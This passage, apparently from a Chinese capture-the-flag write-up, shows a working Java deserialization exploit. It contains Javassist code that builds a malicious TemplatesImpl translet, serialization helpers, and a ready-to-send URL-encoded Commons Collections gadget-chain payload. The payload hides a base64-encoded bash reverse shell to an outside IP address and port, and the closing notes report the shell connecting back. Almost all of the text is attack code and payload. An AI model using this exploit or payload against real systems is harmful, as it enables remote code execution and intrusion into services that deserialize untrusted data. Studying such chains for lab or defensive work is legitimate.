ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.makeClass("a");
CtClass superClass = pool.get(AbstractTranslet.class.getName());
ctClass.setSuperclass(superClass);
CtConstructor constructor = new CtConstructor(new CtClass[]{}, ctClass);
constructor.setBody("Runtime.getRuntime().exec(\"calc\");");
ctClass.addConstructor(constructor);
return ctClass.toBytecode();
}
public static void SetValue(Object obj, String name, Object value) throws Exception {
Class clz = obj.getClass();
Field nameField = clz.getDeclaredField(name);
nameField.setAccessible(true);
nameField.set(obj, value);
}
public static TemplatesImpl getTemplatesImpl() throws Exception{
byte[][] bytes = new byte[][]{GenerateEvil()};
TemplatesImpl templates = new TemplatesImpl();
SetValue(templates, "_bytecodes", bytes);
SetValue(templates, "_name", "aaa");
SetValue(templates, "_tfactory", new TransformerFactoryImpl());
return templates;
}
public static String Serialize(Object o) throws Exception{
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(baos);
objectOutputStream.writeObject(o);
String str = new String(Base64.getEncoder().encode(baos.toByteArray()));
return str;
}
public static void UnSerialize(String str) throws Exception{
ObjectInputStream objectInputStream = new ObjectInputStream(new ByteArrayInputStream(Base64.getDecoder().decode(str)));
objectInputStream.readObject();
}
public static String Base64_Encode(byte[] bytes) throws Exception{
return new String(Base64.getEncoder().encode(bytes));
}
public static String Byte2Hex(byte[] bytes) throws Exception{
StringBuilder builder = new StringBuilder();
for(byte b: bytes){
builder.append(String.format("%02X", b));
}
System.out.println(builder.toString());
return builder.toString();
}
public static byte[] Hex2Byte(String hexString) {
int len = hexString.length();
byte[] data = new byte[len / 2];
for (int i = 0; i < len; i += 2) {
data[i / 2] = (byte) ((Character.digit(hexString.charAt(i), 16) << 4)
+ Character.digit(hexString.charAt(i+1), 16));
}
return data;
}
}
payload url编码一下打过去就可以了
payload=rO0ABXNyADPggarggaHggbbggaHggK7ggbXggbTgganggazggK7ggYjggaHggbPggajggY3ggaHggbAFB9rBwxZg0QMAAkYACmxvYWRGYWN0b3JJAAl0aHJlc2hvbGR4cD9AAAAAAAAMdwgAAAAQAAAAAXNyAJzgga%2FggbLggafggK7ggaHggbDggaHggaPggajggaXggK7ggaPgga%2Fgga3gga3gga%2Fgga7ggbPggK7ggaPgga%2FggazggazggaXggaPggbTggangga%2Fgga7ggbPggK7ggavggaXggbnggbbggaHggazggbXggaXggK7ggZTgganggaXggaTggY3ggaHggbDggYXgga7ggbTggbLggbmKrdKbOcEf2wIAAkwAA2tleXQAEkxqYXZhL2xhbmcvT2JqZWN0O0wAA21hcHQAD0xqYXZhL3V0aWwvTWFwO3hwdAADYWFhc3IAfuCBr%2BCBsuCBp%2BCAruCBoeCBsOCBoeCBo%2BCBqOCBpeCAruCBo%2BCBr%2BCBreCBreCBr%2BCBruCBs%2BCAruCBo%2BCBr%2BCBrOCBrOCBpeCBo%2BCBtOCBqeCBr%2BCBruCBs%2BCAruCBreCBoeCBsOCAruCBjOCBoeCBuuCBueCBjeCBoeCBsG7llIKeeRCUAwABTAAHZmFjdG9yeXQALExvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnMvVHJhbnNmb3JtZXI7eHBzcgCu4IGv4IGy4IGn4ICu4IGh4IGw4IGh4IGj4IGo4IGl4ICu4IGj4IGv4IGt4IGt4IGv4IGu4IGz4ICu4IGj4IGv4IGs4IGs4IGl4IGj4IG04IGp4IGv4IGu4IGz4ICu4IGm4IG14IGu4IGj4IG04IGv4IGy4IGz4ICu4IGD4IGo4IGh4IGp4IGu4IGl4IGk4IGU4IGy4IGh4IGu4IGz4IGm4IGv4IGy4IGt4IGl4IGyMMeX7Ch6lwQCAAFbAA1pVHJhbnNmb3JtZXJzdAAtW0xvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnMvVHJhbnNmb3JtZXI7eHB1cgCH4IGb4IGM4IGv4IGy4IGn4ICu4IGh4IGw4IGh4IGj4IGo4IGl4ICu4IGj4IGv4IGt4IGt4IGv4IGu4IGz4ICu4IGj4IGv4IGs4IGs4IGl4IGj4IG04IGp4IGv4IGu4IGz4ICu4IGU4IGy4IGh4IGu4IGz4IGm4IGv4IGy4IGt4IGl4IGy4IC7vVYq8dg0GJkCAAB4cAAAAARzcgCx4IGv4IGy4IGn4ICu4IGh4IGw4IGh4IGj4IGo4IGl4ICu4IGj4IGv4IGt4IGt4IGv4IGu4IGz4ICu4IGj4IGv4IGs4IGs4IGl4IGj4IG04IGp4IGv4IGu4IGz4ICu4IGm4IG14IGu4IGj4IG04IGv4IGy4IGz4ICu4IGD4IGv4IGu4IGz4IG04IGh4IGu4IG04IGU4IGy4IGh4IGu4IGz4IGm4IGv4IGy4IGt4IGl4IGyWHaQEUECsZQCAAFMAAlpQ29uc3RhbnRxAH4AA3hwdnIAM%2BCBquCBoeCBtuCBoeCAruCBrOCBoeCBruCBp%2BCAruCBkuCBteCBruCBtOCBqeCBreCBpQAAAAAAAAAAAAAAeHBzcgCu4IGv4IGy4IGn4ICu4IGh4IGw4IGh4IGj4IGo4IGl4ICu4IGj4IGv4IGt4IGt4IGv4IGu4IGz4ICu4IGj4IGv4IGs4IGs4IGl4IGj4IG04IGp4IGv4IGu4IGz4ICu4IGm4IG14IGu4IGj4IG04IGv4IGy4IGz4ICu4IGJ4IGu4IG24IGv4IGr4IGl4IGy4IGU4IGy4IGh4IGu4IGz4IGm4IGv4IGy4IGt4IGl4IGyh%2Bj%2Fa3t8zjgCAANbAAVpQXJnc3QAE1tMamF2YS9sYW5nL09iamVjdDtMAAtpTWV0aG9kTmFtZXQAEkxqYXZhL2xhbmcvU3RyaW5nO1sAC2lQYXJhbVR5cGVzdAASW0xqYXZhL2xhbmcvQ2xhc3M7eHB1cgA54IGb4IGM4IGq4IGh4IG24IGh4ICu4IGs4IGh4IGu4IGn4ICu4IGP4IGi4IGq4IGl4IGj4IG04IC7kM5YnxBzKWwCAAB4cAAAAAJ0AApnZXRSdW50aW1lcHQACWdldE1ldGhvZHVyADbggZvggYzggarggaHggbbggaHggK7ggazggaHgga7ggafggK7ggYPggazggaHggbPggbPggLurFteuy81amQIAAHhwAAAAAnZyADDggarggaHggbbggaHggK7ggazggaHgga7ggafggK7ggZPggbTggbLggangga7ggaeg8KQ4ejuzQgIAAHhwdnEAfgAcc3EAfgATdXEAfgAYAAAAAnBwdAAGaW52b2tldXEAfgAcAAAAAnZyADDggarggaHggbbggaHggK7ggazggaHgga7ggafggK7ggY%2FggaLggarggaXggaPggbQAAAAAAAAAAAAAAHhwdnEAfgAYc3EAfgATdXEAfgAYAAAAAXQAXWJhc2ggLWMge2VjaG8sWW1GemFDQXRhU0ErSmk5a1pYWXZkR053THpFd05pNDFNaTQ1TkM0eU15OHlNek16SURBK0pqRT19fHtiYXNlNjQsLWR9fHtiYXNoLC1pfXQABGV4ZWN1cQB%2BABwAAAABcQB%2BAB9zcQB%2BAAA%2FQAAAAAAADHcIAAAAEAAAAAB4eHQAA2JiYng%3D
shell弹过来了,flag is in env